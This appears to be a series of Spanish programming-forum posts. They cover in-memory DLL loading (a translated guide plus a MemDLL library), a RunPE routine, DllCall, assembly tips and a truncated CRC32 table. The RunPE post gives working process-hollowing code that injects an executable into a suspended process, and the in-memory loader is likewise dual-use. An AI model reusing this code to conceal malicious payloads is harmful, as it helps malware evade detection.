Todas las direcciones de memoria en las secciones de código/datos de una libreria son almacenadas relativamente a la dirección definida por 'ImageBase' de 'OptionalHeader'.

Si la librería no puede ser importada de esta dirección de memoria, las referencias deben ser re-ajustadas (reubicadas). El formato de archivo ayuda a esto almacenando información sobre todas estas referencias en la tabla de reubicación de base, la cual puede ser encontrada en el directorio 5 de la 'DataDirectory' en la 'OptionalHeader'.

Esta tabla consta de una serie de esta estructura:

Código: php
Estruct IMAGE_BASE_RELOCATION,_
        VirtualAddress,_
        SizeOfBlock:Entero


Contiene (SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2 entradas de 16 bits cada una. Los 4 bits superiores definen el tipo de reubicación, los 12 bits inferiores definen el desplazamiento en relación con el VirtualAddress.

Los únicos tipos que pueden ser usados en librerías son:

IMAGE_REL_BASED_ABSOLUTE (0)
Ninguna operación de reubicación.

IMAGE_REL_BASED_HIGHLOW (3)
Agregue el delta entre ImageBase y el bloque de memoria asignado a los 32 bits encontrados en el offset.

Resolviendo importaciones

La entrada de directorio 1 del 'DataDirectory' en 'OptionalHeader' especifica una lista de bibliotecas para importar símbolos. Cada entrada en esta lista se define de la siguiente manera:

Código: php
Estruct IMAGE_IMPORT_DESCRIPTOR,_
        OriginalFirstThunk,_
        TimeDateStamp,_
        ForwarderChain,_
        Name,_
        FirstThunk:Entero


El miembro 'Name' describe el offset a una cadena terminada en nulo con el nombre de la librería (ej: KERNEL32.DLL). El miembro 'OriginalFirstThunk' apunta a una lista de referencias a los nombres de las funciones a importar de la librería externa. 'FirstThunk' apunta a una lista de direcciones que se llenó con punteros a los símbolos importados.

Cuando nosotros resolvemos las importaciones, nosotros recorremos ambas listas en paralelo, importando la función definida en la primera lista y almacenando el puntero en los símbolos de la segunda lista.

Código: php
Var @NameRef,@SymbolRef:Entero
NameRef@ = BaseAddress + ImportDes.OriginalFirstThunk
SymbolRef@ = BaseAddress + ImportDes.FirstThunk

Mientras NameRef <> 0
    Var @ThunkData:IMAGE_IMPORT_BY_NAME
    ThunkData@ = CodeBase + NameRef
    SymbolRef = GetProcAddress(Handle,CadDePtr(ThunkData.Name))
    NameRef@ = NameRef@@+4
    SymbolRef@ = SymbolRef@@+4
FinMientras


Protegiendo la memoria

Cada sección especifica los indicadores de permiso en su entrada de características. Estas banderas pueden ser una o una combinación de

IMAGE_SCN_MEM_EXECUTE (&20000000)
Esta sección contiene datos que pueden ser ejecutados.

IMAGE_SCN_MEM_READ (&40000000)
Esta sección contiene datos que solo pueden ser leídos.

IMAGE_SCN_MEM_WRITE (&80000000)
Esta sección contiene datos que pueden ser escritos.

Estos indicadores deben asignarse a las banderas de protección


  • PAGE_NOACCESS (&1)
  • PAGE_WRITECOPY 8
  • PAGE_READONLY (&2)
  • PAGE_READWRITE (&4)
  • PAGE_EXECUTE (&10)
  • PAGE_EXECUTE_WRITECOPY (&80)
  • PAGE_EXECUTE_READ (&20)
  • PAGE_EXECUTE_READWRITE (&40)

Ahora, la función VirtualProtect puede ser usada para limitar el acceso a la memoria. Si el programa trata de escribir algo en un camino no autorizado, una excepción es generada por Windows.

Además de los indicadores de sección anteriores, se puede agregar los siguientes:

IMAGE_SCN_MEM_DISCARDABLE (&02000000)
Los datos en esta sección pueden ser liberados después de importar. Usualmente esta es especificada por los datos de reubicación.

IMAGE_SCN_MEM_NOT_CACHED (&04000000)
Los datos de esta sección no deben ser almacenados en caché por Windows. Agregue el indicador de bits PAGE_NOCACHE a los indicadores de protección anteriores.

Notificar librería

La ultima cosa que hacemos es llamar el punto de entrada de la DLL (definido por 'AddressOfEntryPoint') y por lo tanto notificar a la biblioteca acerca de estar conectado a un proceso.

La función de punto de entrada es definida como:

Código: php
Prototipo EntryPoint(hInstance,dwReason,Reserved):Entero


Entonces el código que nosotros debemos ejecutar es:

Código: php
Prototipo EntryPoint(hInstance,dwReason,Reserved):Entero

Var Entry:EntryPoint
Entry@ = BaseAddress + PEHeader.OptionalHeader.AddressOfEntryPoint
Entry(BaseAddress,DLL_PROCESS_ATTACH,0)


Después podemos utilizar las funciones exportadas como con cualquier biblioteca normal.

Funciones exportadas

Si usted quiere obtener acceso a las funciones que la librería exporta, necesita buscar el punto de entrada del simbolo, por ejemplo. El nombre de la función a llamar.

El directorio de entrada 0 de la 'DataDirectory' en la 'OptionalHeader' contiene información acerca de las funciones exportadas. Esta es definida como la siguiente estructura:

Código: php
Estruct IMAGE_EXPORT_DIRECTORY,_
        Characteristics,_
        TimeDateStamp:Entero,_
        MajorVersion,_
        MinorVersion:Word,_
        Name,_
        Base,_
        NumberOfFunctions,_
        NumberOfNames,_
        AddressOfFunctions,_ ' RVA de Base.
        AddressOfNames,_     ' RVA de Base.
        AddressOfNameOrdinals:Entero ' RVA de Base.


Lo primero que debemos hacer es referenciar el nombre de la función al número ordinal del símbolo exportado. Por lo tanto, sólo sondear las matrices definidas por 'AddressOfNames' y 'AddressOfNameOrdinals' en paralelo hasta que encuentre el nombre necesario.

Ahora puede utilizar el número ordinal para leer la dirección evaluando el n-ésimo elemento de la matriz 'AddressOfFunctions'.

Liberando la libreria

Para liberar la librería cargada de manera personalizada, realice los siguientes pasos:

  • Llamar al punto de entrada para informar que la vamos a liberar.
Código: php
Entry(BaseAddress,DLL_PROCESS_DETACH,0)



  • Liberar las librerías requeridas por la DLL que queríamos importar en realidad.
  • Liberar la memoria alojada por VirtualAlloc.

CitarEste manual fue escrito por Joachim Bauch y traducido por Yuki para No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#5
Otros lenguajes / [Cramel] Librería MemDLL
Agosto 05, 2017, 10:49:41 AM
Hace un tiempo largo descubrí que habia una manera de cargar librerías DLL directamente desde memoria, me profundice en el tema y logre crear una librería personalizada para Cramel, esta permitirá la libre creación de códigos portables.

Código: php
Importar "Cramel.cml"

Estruct LIB_INFO,_
        Base,_ ' Dirección base de la librería en memoria.
        NumLibs,_ ' Número de librerías que esta importa.
        Librerías[]:Entero,_ ' Identificadores de las librerias importadas.
        @NT:IMAGE_NT_HEADERS,_ ' Cabecera PE.
        Inicializado:Booleano ' Establece si fue inicializado.

Prototipo LibEntryPoint(Instancia,Razón:Entero,Opcional Reservado:Entero):Entero

Proc FIELD_OFFSET(Estructura,Miembro:Entero):Entero
    Resultado = (Miembro - Estructura)
FinProc

Proc IMAGE_FIRST_SECTION(Referencia NT:IMAGE_NT_HEADERS):Entero
    Resultado = NT@ + (FIELD_OFFSET(NT@,NT.OptionalHeader@) + NT.FileHeader.SizeOfOptionalHeader)
FinProc

Proc GET_HEADER_DICTIONARY(Mem:Entero,Indice:Byte):Entero
    Var @NT:IMAGE_NT_HEADERS
    NT@ = GET_NT_HEADERS(Mem)
    Resultado = NT.OptionalHeader.DataDirectory[Indice]@
FinProc

Proc GET_DOS_HEADER(Mem:Entero):Entero
    Resultado = Mem
FinProc

Proc GET_NT_HEADERS(Mem:Entero):Entero
    Var @DOS_HEADER:IMAGE_DOS_HEADER
    DOS_HEADER@ = GET_DOS_HEADER(Mem)
    Resultado = Mem + DOS_HEADER.e_lfanew
FinProc

Proc IMAGE_ORDINAL(Ordinal:Entero):Word
    Resultado = (Ordinal And &FFFF)
FinProc

Proc IMAGE_SNAP_BY_ORDINAL(Ordinal:Entero):Booleano
    Resultado = (Ordinal And IMAGE_ORDINAL_FLAG32)
FinProc

Proc GET_SECTION_PROTECTION(Characteristics:Entero):Entero
    Var Flag:Byte
    Si Characteristics And IMAGE_SCN_MEM_EXECUTE Entonces
        Flag = Flag + 1 ' Flag = 0 o 1
    FinSi
    Si Characteristics And IMAGE_SCN_MEM_READ Entonces
        Flag = Flag + 2 ' Flag = 1 o 2 o 3
    FinSi
    Si Characteristics And IMAGE_SCN_MEM_WRITE Entonces
        Flag = Flag + 3 ' Flag = 3 o 4 o 5 o 6
    FinSi
    Seleccionar Flag
        Caso 0 ' Nada :0
        Caso 1 ' Ejecutable
            Resultado = PAGE_EXECUTE
        Caso 2 ' Solo lectura
            Resultado = PAGE_READONLY
        Caso 3 ' Lectura y ejecutable
            Resultado = PAGE_EXECUTE_READ
        Caso 4 ' Ejecutable y editable
            Resultado = PAGE_EXECUTE_WRITECOPY
        Caso 5 ' Lectura y editable
            Resultado = PAGE_READWRITE
        Caso 6 ' Ejecutable, lectura y editable.
            Resultado = PAGE_EXECUTE_READWRITE
    FinSeleccionar
FinProc

' Copia las secciones del archivo en memoria.
Proc CopiarSecciones(Referencia Res:LIB_INFO,Referencia NT:IMAGE_NT_HEADERS,LibPtr:Entero)
    Var i:Entero
    Var @SECHeader:IMAGE_SECTION_HEADER
    Var Tamaño:Entero
    Var Des:Entero
    SECHeader@ = IMAGE_FIRST_SECTION(Res.NT)
    Contar i a (Res.NT.FileHeader.NumberOfSections - 1)
        Si SECHeader.SizeOfRawData = 0 Entonces
            Tamaño = NT.OptionalHeader.SectionAlignment
            Si Tamaño Entonces
                Des = VirtualAlloc(Res.Base + SECHeader.VirtualAddress,Tamaño,MEM_COMMIT,PAGE_READWRITE)
                SECHeader.Misc.PhysicalAddress = Des
                memset(Des,0,Tamaño)
            FinSi
        SiNo
            Des = VirtualAlloc(Res.Base + SECHeader.VirtualAddress,SECHeader.SizeOfRawData,MEM_COMMIT,PAGE_READWRITE)
            memcpy(Des,LibPtr + SECHeader.PointerToRawData,SECHeader.SizeOfRawData)
            SECHeader.Misc.PhysicalAddress = Des
        FinSi
        SECHeader@ = SECHeader@@ + &IMAGE_SECTION_HEADER
    Seguir
FinProc

' Importamos las librerias requeridas por el archivo en memoria y registramos los procedimientos.
Proc RegImportaciones(Referencia Res:LIB_INFO):Booleano
    Var @Directorio:IMAGE_DATA_DIRECTORY
    Var @ImportDesc:IMAGE_IMPORT_DESCRIPTOR
    Var ResLoad:Entero
    Var @OrFirstThunk:Entero
    Var @ProcRef:Entero
    Var @ImgImport:IMAGE_IMPORT_BY_NAME
    Directorio@ = GET_HEADER_DICTIONARY(Res.Base,IMAGE_DIRECTORY_ENTRY_IMPORT)
    Si Directorio.Size Entonces
        ImportDesc@ = Res.Base + Directorio.VirtualAddress
        Mientras ImportDesc.Name
            ResLoad = LoadLibrary(CadDePtr(Res.Base + ImportDesc.Name))
            Si ImportDesc.OriginalFirstThunk Entonces
                OrFirstThunk@ = Res.Base + ImportDesc.OriginalFirstThunk
            SiNo
                OrFirstThunk@ = Res.Base + ImportDesc.FirstThunk
            FinSi
            ProcRef@ = Res.Base + ImportDesc.FirstThunk
            Mientras OrFirstThunk
                Si IMAGE_SNAP_BY_ORDINAL(OrFirstThunk) Entonces
                    ProcRef = GetProcAddress(ResLoad,EntCad(IMAGE_ORDINAL(OrFirstThunk)))
                SiNo
                    ImgImport@ = Res.Base + OrFirstThunk
                    ProcRef = GetProcAddress(ResLoad,CadDePtr(ImgImport.Name[0]@))
                FinSi
                Si ProcRef = 0 Entonces Salir Mientras
                OrFirstThunk@ = OrFirstThunk@@ + &Entero
                ProcRef@ = ProcRef@@ + &Entero
            FinMientras
            ImportDesc@ = ImportDesc@@ + &IMAGE_IMPORT_DESCRIPTOR
            ' Almacenamos el identificador de la libreria cargada para ser liberada mas tarde.
            ReDim Preservar Res.Librerías,Res.NumLibs + 1
            Res.Librerías[Res.NumLibs] = ResLoad
            Res.NumLibs = Res.NumLibs + 1
        FinMientras
    FinSi
FinProc

' Liberamos las librerias importadas.
Proc LibImportaciones(Referencia Res:LIB_INFO):Booleano
    Var i:Entero
    Contar i a Res.NumLibs - 1
        Si Res.Librerías[i] <> INVALID_HANDLE_VALUE Entonces FreeLibrary(Res.Librerías[i])
    Seguir
FinProc

' Limpiamos de memoria las secciones y protegemos las que corresponden.
Proc LimpiarSecciones(Referencia Res:LIB_INFO)
    Var @SECHeader:IMAGE_SECTION_HEADER
    Var i:Entero
    Var Protección:Entero
    Var Tamaño:Entero
    SECHeader@ = IMAGE_FIRST_SECTION(Res.NT)
    Contar i a (Res.NT.FileHeader.NumberOfSections - 1)
        Si SECHeader.Characteristics And IMAGE_SCN_MEM_DISCARDABLE Entonces
            ' La sección es descartable, liberamos la memoria y retrocedemos a otra sección.
            VirtualFree(SECHeader.Misc.PhysicalAddress,SECHeader.SizeOfRawData,MEM_DECOMMIT)
            SECHeader@ = SECHeader@@ - &IMAGE_SECTION_HEADER
        SiNo
            Protección = GET_SECTION_PROTECTION(SECHeader.Characteristics)
            Si SECHeader.Characteristics And IMAGE_SCN_MEM_NOT_CACHED Entonces Protección = Protección + PAGE_NOCACHE
            Tamaño = SECHeader.SizeOfRawData
            Si Tamaño Entonces
                Si SECHeader.Characteristics And IMAGE_SCN_CNT_INITIALIZED_DATA Entonces
                    Tamaño = Res.NT.OptionalHeader.SizeOfInitializedData
                OSi SECHeader.Characteristics And IMAGE_SCN_CNT_UNINITIALIZED_DATA Entonces
                    Tamaño = Res.NT.OptionalHeader.SizeOfUnitializedData
                FinSi
                Si Tamaño Entonces VirtualProtect(SECHeader.Misc.PhysicalAddress,SECHeader.SizeOfRawData,Protección)
            FinSi
        FinSi
        SECHeader@ = SECHeader@@ + &IMAGE_SECTION_HEADER
    Seguir
FinProc

' Ajustamos las referencias de memoria.
Proc RelocaciónBase(Referencia Res:LIB_INFO)
    Var @Directorio:IMAGE_DATA_DIRECTORY
    Var @Reloc:IMAGE_BASE_RELOCATION
    Var @Des:Entero
    Var @RelocInfo:Word
    Var @Pos:Word
    Var i:Entero
    Var Tipo:Word
    Directorio@ = GET_HEADER_DICTIONARY(Res.Base,IMAGE_DIRECTORY_ENTRY_BASERELOC)
    Si Directorio.Size Entonces
        Reloc@ = Res.Base + Directorio.VirtualAddress
        Mientras Reloc.VirtualAddress
            RelocInfo@ = Reloc@@ + IMAGE_SIZEOF_BASE_RELOCATION
            i = 0
            ' DIOS! COMO ME COSTO HACER ANDAR ESTE CÓDIGO!!
            ' PUT* Delphi, Put* C.
            Contar i a ((Reloc.SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2) - 1
                Des@ = Res.Base + Reloc.VirtualAddress
                Si (RelocInfo Shr &C) = IMAGE_REL_BASED_HIGHLOW Entonces
                    Des@ = Des@@ + (RelocInfo And &FFF)
                    Des = LOWORD(Des) + Res.Base
                FinSi
                RelocInfo@ = RelocInfo@@ + &Word
            Seguir
            Reloc@ = Reloc@@ + Reloc.SizeOfBlock
        FinMientras
    FinSi
FinProc

' Invocamos el punto de entrada.
Proc InvocarPuntoDeEntrada(Referencia Res:LIB_INFO,Bandera:Entero):Booleano
    Var @EntryPoint:LibEntryPoint
    Si Res.NT.OptionalHeader.AddressOfEntryPoint Entonces
        EntryPoint@ = Res.Base + Res.NT.OptionalHeader.AddressOfEntryPoint
        Resultado = EntryPoint(Res.Base,Bandera,0)
        Res.Inicializado = Resultado
    FinSi
FinProc

Proc MemLoadLibrary(LibPtr:Entero):LIB_INFO

    Var @PEHeader:IMAGE_NT_HEADERS
    Var @DOSHeader:IMAGE_DOS_HEADER
    Var Headers:Entero
    Var Reubicar:Booleano
    Var LibBase:Entero
   
    DOSHeader@ = GET_DOS_HEADER(LibPtr)
    PEHeader@ = GET_NT_HEADERS(LibPtr)
   
    Var Base:Entero
   
    Base = VirtualAlloc(PEHeader.OptionalHeader.ImageBase,PEHeader.OptionalHeader.SizeOfImage,MEM_RESERVE + MEM_COMMIT,PAGE_READWRITE)
   
    Si Base = 0 Entonces
        Base = VirtualAlloc(0,PEHeader.OptionalHeader.SizeOfImage,MEM_RESERVE + MEM_COMMIT,PAGE_READWRITE)
        Si Base = 0 Entonces Salir
        Reubicar = Verdadero
        LibBase = PEHeader.OptionalHeader.ImageBase
    FinSi
   
    ' Comprometemos la memoria para las cabeceras, esto se hacce re-invocando VirtualAlloc.
   
    Headers = VirtualAlloc(Base,PEHeader.OptionalHeader.SizeOfHeaders,MEM_COMMIT,PAGE_READWRITE)
   
    memcpy(Headers,LibPtr,DOSHeader.e_lfanew + PEHeader.OptionalHeader.SizeOfHeaders)
   
    Resultado.Base = Base
    Resultado.NT@ = PEHeader@@
    Resultado.NT.OptionalHeader.ImageBase = Base
   
    CopiarSecciones(Resultado,PEHeader,LibPtr)
   
    Si Reubicar Entonces RelocaciónBase(Resultado)
   
    RegImportaciones(Resultado)
   
    LimpiarSecciones(Resultado)
   
    InvocarPuntoDeEntrada(Resultado,DLL_PROCESS_ATTACH)
   
    'VirtualFree(Base,0,MEM_RELEASE)
   
FinProc

Proc MemGetProcAddress(Referencia Modulo:LIB_INFO,Nombre:Cadena,Opcional Sensitivo:Booleano):Entero
    Var @Directorio:IMAGE_DATA_DIRECTORY
    Var @Export:IMAGE_EXPORT_DIRECTORY
    Var @NomRef:Entero
    Var @Ord:Word
    Var i:Entero
    Var iOrd:Entero
    Var @PtrProc:Entero
    iOrd = -1
    Directorio@ = GET_HEADER_DICTIONARY(Modulo.Base,IMAGE_DIRECTORY_ENTRY_EXPORT)
    Si Directorio.Size Entonces
        Export@ = Modulo.Base + Directorio.VirtualAddress
        Si (Export.NumberOfNames = 0) o (Export.NumberOfFunctions = 0) Entonces Salir
        NomRef@ = Modulo.Base + Export.AddressOfNames
        Ord@ = Modulo.Base + Export.AddressOfNameOrdinals
        Contar i a Export.NumberOfNames - 1
            Si Sensitivo Entonces
                Si strcmp(CadDePtr(Modulo.Base + NomRef),Nombre) = 0 Entonces
                    iOrd = Ord
                    Salir Contar
                FinSi
            SiNo
                Si strcmpi(CadDePtr(Modulo.Base + NomRef),Nombre) = 0 Entonces
                    iOrd = Ord
                    Salir Contar
                FinSi
            FinSi
            NomRef = NomRef + &Entero
            Ord = Ord + &Word
        Seguir
        Si iOrd = -1 Entonces Salir
        Si iOrd > Export.NumberOfFunctions - 1 Entonces Salir
        PtrProc@ = (Modulo.Base + (Export.AddressOfFunctions + (iOrd * 4)))
        Resultado = Modulo.Base + PtrProc
    FinSi
FinProc

Proc MemFreeLibrary(Referencia Res:LIB_INFO)
    Var i:Entero
    Si Res.Inicializado Entonces
        InvocarPuntoDeEntrada(Res,DLL_PROCESS_DETACH)
        Res.Inicializado = Falso
        LibImportaciones(Res)
        Si Res.Base Entonces
            VirtualFree(Res.Base,0,MEM_RELEASE)
            Si Res.NT@@ Entonces Res.NT@ = 0
            Res.Base = 0
            ReDim Res.Librerías,0
            Res.NumLibs = 0
        FinSi
    FinSi
FinProc


El código de ejemplo puede ser visto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Debido a la corrección de errores del compilador, este código solo es funcional con la ultima versión de Cramel subida hoy 05/08/2017.

Este post es una referencia para la guia No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

¡Saludos!
#6
Otros lenguajes / [Cramel] RunPE
Julio 24, 2017, 12:44:52 AM
Hace un tiempo escribí este RunPE en Cramel, pero parece que olvide postearlo, así que acá se los dejo.

Código: php
Importar "Cramel.cml"

' -------------------------------------------------------------------------------------------
' Nombre: RunPE
' Funcionamiento: Ejecuta un archivo en memoria.
' Programador: Yuki
' Parametros:
'            Archivo - Nombre del archivo a simular.
'            pArchivo - Puntero del buffer en memoria que contiene el archivo a ejecutar.
' Retorno:
'            Ninguno.

' -------------------------------------------------------------------------------------------
Proc RunPE(Referencia Archivo:Cadena,pArchivo:Entero)
    Var i:Entero
    Var @Pidh:IMAGE_DOS_HEADER
    Var @Pinh:IMAGE_NT_HEADERS
    Var @Pish:IMAGE_SECTION_HEADER
    Var SINFO:STARTUPINFO
    Var PINFO:PROCESS_INFORMATION
    Var Ctx:CONTEXT
    ' Iniciamos variables.
    SINFO.cb = &STARTUPINFO
    Ctx.ContextFlags = CONTEXT_FULL
    ' Obtenemos la estructura IMAGE_DOS_HEADER del archivo en memoria.
    Pidh@ = pArchivo
    ' Obtenemos la estructura IMAGE_NT_HEADERS del archivo en memoria.
    Pinh@ = pArchivo + Pidh.e_lfanew
    ' Creamos un nuevo proceso suspendido.
    CreateProcess(Archivo,"",,,Falso,CREATE_SUSPENDED,0,0,SINFO,PINFO)
    ' ???
    NtUnmapViewOfSection(PINFO.hProcess,Pinh.OptionalHeader.ImageBase)
    ' Creamos un buffer en el proceso creado con el tamaño del ejecutable en memoria.
    VirtualAllocEx(PINFO.hProcess,Pinh.OptionalHeader.ImageBase,Pinh.OptionalHeader.SizeOfImage,MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    ' Escribimos en la memoria del proceso la cabecera del archivo en nuestra memoria.
    WriteProcessMemory(PINFO.hProcess,Pinh.OptionalHeader.ImageBase,pArchivo,Pinh.OptionalHeader.SizeOfHeaders,0)
    ' Sondeamos las secciones.
    Contar i a Pinh.FileHeader.NumberOfSections - 1
        ' Pish apunta a la información de las secciones disponibles.
        Pish@ = pArchivo + Pidh.e_lfanew + &IMAGE_NT_HEADERS + &IMAGE_SECTION_HEADER * i
        ' Escribimos los datos de las secciones.
        WriteProcessMemory(PINFO.hProcess,Pinh.OptionalHeader.ImageBase+Pish.VirtualAddress,pArchivo+Pish.PointerToRawData,Pish.SizeOfRawData,0)
    Seguir
    ' Obtenemos los valores de registros.
    GetThreadContext(PINFO.hThread,Ctx)
    ' Inicializamos los registros.
    WriteProcessMemory(PINFO.hProcess,Ctx.Ebx + 8,Pinh.OptionalHeader.ImageBase,4,0)
    Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
    SetThreadContext(PINFO.hThread,Ctx)
    ' Iniciamos el hilo del proceso creado.
    ResumeThread(PINFO.hThread)
FinProc


¡Saludos!
#7
Otros lenguajes / [Cramel] Función DllCall
Julio 23, 2017, 10:09:57 PM
Les dejo un simple DllCall que escribí en Cramel utilizando asm inline, para los que no lo sepan, se utiliza para llamar funciones de manera dinámica.

Código: php
Importar "Cramel.cml"

Proc DllCall(Dll,Función:Cadena,Referencia ParamArray[]:Entero):Entero
    !push DWORD[Param_Dll]
    !call [a_LoadLibrary]
    !test eax,eax
    !jz .Fin
    !mov ebx,eax
    !xor edx,edx
    !mov edi,DWORD[Param_ParamArray]
    !mov edi,DWORD[edi]
    !mov eax,DWORD[edi-4]
    !mov ecx,4
    !div ecx
    !mov ecx,eax
    !test ecx,ecx
    !jz .CallProc
    !@@:
    !push DWORD[edi+ecx*4-4]
    !loop @b
    !.CallProc:
    !push DWORD[Param_Función]
    !push ebx
    !call [a_GetProcAddress]
    !test eax,eax
    !jz .Fin
    !call eax
    !.Fin:
FinProc

Var Parámetros[]:Entero
Var Str:Cadena
Var Str2:Cadena

Str = "Hola Mundo"
Str2 = "Title"

ReDim Parámetros,4

Parámetros[0] = 0
Parámetros[1] = Str@@
Parámetros[2] = Str2@@
Parámetros[3] = 16

DllCall("User32","MessageBoxA",Parámetros)


¡Saludos!
#8
Wargames y retos / Reto - Descubre el valor oculto
Julio 01, 2017, 08:07:03 AM
El día de ayer un amigo me enseñó una muy interesante cuestión matemática. El reto que les propongo es escribir y postear un código que les resuelva este acertijo. Pueden usar el lenguaje que quieran.


¡Suerte!
#9
Antes de iniciar, me gustaría informar que en este post no se va a enseñar literalmente como programar en ensamblador sino que serán algunos consejos para aprender a escribir en lenguaje ensamblador sin problemas.

¿Que es ensamblador?
Ensamblador es básicamente el lenguaje más cercano al lenguaje maquina, utilizado por desarrolladores avanzados para escribir aplicaciones con alto nivel de rendimiento.

¿Como puedo aprender a programar en ensamblador de manera más fácil?
Pues esto es muy simple y la mejor manera de hacerlo es comprender que ensamblador consta de unos cuantos items.


  • Etiquetas
  • Registros
  • Instrucciones

Etiquetas
Las etiquetas son identificadores (nombres, alias, apodos, etc) que se les asigna a una porción de nuestro código (aveces a todo) de tal manera que nosotros podamos (valga la redundancia) identificar nuestro código ensamblador.

Estas etiquetas son muy utilizadas con instrucciones de salto.

Registros
Los registros son secciones internas de almacenamiento, si usted a programado en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta puede interpretar los registros como variables de tipo Entero (4 Bytes - x32 | 8 Bytes - x64).

Cualquier lenguaje de programación basado en la sintaxis de los procesadores Intel de 32 bits posee 9 registros.


  • EAX (A-cumulator) - Utilizado para retornar valores de procedimientos y almacenar valores que sera procesados por cálculos aritméticos.
  • EBX (B-ase) - Utilizado como apoyo para realizar cálculos, algunas instrucciones no dejan procesar valores directamente, se asigna el valor a ebx y se utiliza junto a la instrucción.
  • ECX (C-ounter) - Contador para bucles y registro de apoyo para cálculos o procesos lógicos (como la rotación de bits).
  • EDX (D-ata)- Utilizado mayormente para pasar parámetros a procedimientos con método de llamada como FASTCALL.
  • ESI (Source Index) - Utilizado generalmente como puntero para escribir en memoria.
  • EDI (Destination Index) - Utilizado generalmente como puntero para escribir en memoria.
  • EBP (Base Pointer) - Este registro generalmente apunta a la base de la pila y es utilizado por los procedimientos para apuntar a una nueva sección de la pila.
  • ESP (Stack Pointer) - Utilizado para almacenar la base previa de la pila y como referencia de escritura de la pila.
  • EIP (Instruction Pointer) - Almacena la dirección de la instrucción actualmente siendo procesada.
Usted puede utilizar estos registros para su propósito original o preservarlos en la pila para usarlos como desee.

Instrucciones
A diferencia de las instrucciones de lenguajes de alto nivel, las instrucciones de ensamblador solo realizan su única tarea asignada, por ejemplo, si quisiéramos declarar una sentencia "If/Si" tendríamos que primero escribir la instrucción para comparar y después la instrucción para saltar "en caso de".

Para su mejor memorización se pueden buscar por internet la descripción extendidas de los mnemónicos, por ejemplo:


  • jmp - Jump
  • jne - Jump Not Equal
  • jae - Jump Above Equal
  • jbe - Jump Below Equal
  • jb - Jump Below
  • ja - Jump Above
  • je - Jump Equal
  • jz - Jump Zero
  • js - Jump Sign
  • shl - Shift Left
  • shr - Shift Right
  • mov - Move
  • xchg - Change
  • movzx - Move Zero Extended

[Ultimo] Optimización
Las instrucciones ensamblador son representadas por el compilador a sus correspondientes opcodes, pero hay maneras de minimizar y por lo tanto aumentar la velocidad de ejecución de nuestro código ensamblador.

Supongamos que queremos limpiar el registro EAX, estableciéndolo a cero, la manera mas común seria hacer lo siguiente:

Código: asm
mov eax,0 ; B8 00 00 00 00 | 6 Bytes.


Pero la manera más optima de realizar esta misma tarea es utilizando XOR.

Código: asm
xor eax,eax ; 33 C0 | 2 Bytes.


O si quisieramos realizar una comparación en un registro, lo mas normal es:

Código: asm
cmp eax,1 ; 83 F8 01 | 3 Bytes.


Aunque más eficiente es:

Código: asm
test eax,eax ; 85 C0 | 2 Bytes.


Únete a los grupos de Underc0de!


Para ver la infografia visita No tienes permitido ver los links. Registrarse o Entrar a mi cuenta! - [Caído]

Saludos!
#10
ASM / Algoritmo CRC32
Junio 13, 2017, 12:55:02 AM
Traducción del No tienes permitido ver los links. Registrarse o Entrar a mi cuenta a ensamblador [FASM].

Código: php
include 'win32ax.inc'

.data
TLookup dd 0x0,0x77073096,0xEE0E612C,0x990951BA,0x76DC419,0x706AF48F,0xE963A535,\
          0x9E6495A3,0xEDB8832,0x79DCB8A4,0xE0D5E91E,0x97D2D988,0x9B64C2B,0x7EB17CBD,\
          0xE7B82D07,0x90BF1D91,0x1DB71064,0x6AB020F2,0xF3B97148,0x84BE41DE,0x1ADAD47D,\
          0x6DDDE4EB,0xF4D4B551,0x83D385C7,0x136C9856,0x646BA8C0,0xFD62F97A,0x8A65C9EC,\
          0x14015C4F,0x63066CD9,0xFA0F3D63,0x8D080DF5,0x3B6E20C8,0x4C69105E,0xD56041E4,\
          0xA2677172,0x3C03E4D1,0x4B04D447,0xD20D85FD,0xA50AB56B,0x35B5A8FA,0x42B2986C,\
          0xDBBBC9D6,0xACBCF940,0x32D86CE3,0x45DF5C75,0xDCD60DCF,0xABD13D59,0x26D930AC,\
          0x51DE003A,0xC8D75180,0xBFD06116,0x21B4F4B5,0x56B3C423,0xCFBA9599,0xB8BDA50F,\
          0x2802B89E,0x5F058808,0xC60CD9B2,0xB10BE924,0x2F6F7C87,0x58684C11,0xC1611DAB,\
          0xB6662D3D,0x76DC4190,0x1DB7106,0x98D220BC,0xEFD5102A,0x71B18589,0x6B6B51F,\
          0x9FBFE4A5,0xE8B8D433,0x7807C9A2,0xF00F934,0x9609A88E,0xE10E9818,0x7F6A0DBB,\
          0x86D3D2D,0x91646C97,0xE6635C01,0x6B6B51F4,0x1C6C6162,0x856530D8,0xF262004E,\
          0x6C0695ED,0x1B01A57B,0x8208F4C1,0xF50FC457,0x65B0D9C6,0x12B7E950,0x8BBEB8EA,\
          0xFCB9887C,0x62DD1DDF,0x15DA2D49,0x8CD37CF3,0xFBD44C65,0x4DB26158,0x3AB551CE,\
          0xA3BC0074,0xD4BB30E2,0x4ADFA541,0x3DD895D7,0xA4D1C46D,0xD3D6F4FB,0x4369E96A,\
          0x346ED9FC,0xAD678846,0xDA60B8D0,0x44042D73,0x33031DE5,0xAA0A4C5F,0xDD0D7CC9,\
          0x5005713C,0x270241AA,0xBE0B1010,0xC90C2086,0x5768B525,0x206F85B3,0xB966D409,\
          0xCE61E49F,0x5EDEF90E,0x29D9C998,0xB0D09822,0xC7D7A8B4,0x59B33D17,0x2EB40D81,\
          0xB7BD5C3B,0xC0BA6CAD,0xEDB88320,0x9ABFB3B6,0x3B6E20C,0x74B1D29A,0xEAD54739,\
          0x9DD277AF,0x4DB2615,0x73DC1683,0xE3630B12,0x94643B84,0xD6D6A3E,0x7A6A5AA8,\
          0xE40ECF0B,0x9309FF9D,0xA00AE27,0x7D079EB1,0xF00F9344,0x8708A3D2,0x1E01F268,\
          0x6906C2FE,0xF762575D,0x806567CB,0x196C3671,0x6E6B06E7,0xFED41B76,0x89D32BE0,\
          0x10DA7A5A,0x67DD4ACC,0xF9B9DF6F,0x8EBEEFF9,0x17B7BE43,0x60B08ED5,0xD6D6A3E8,\
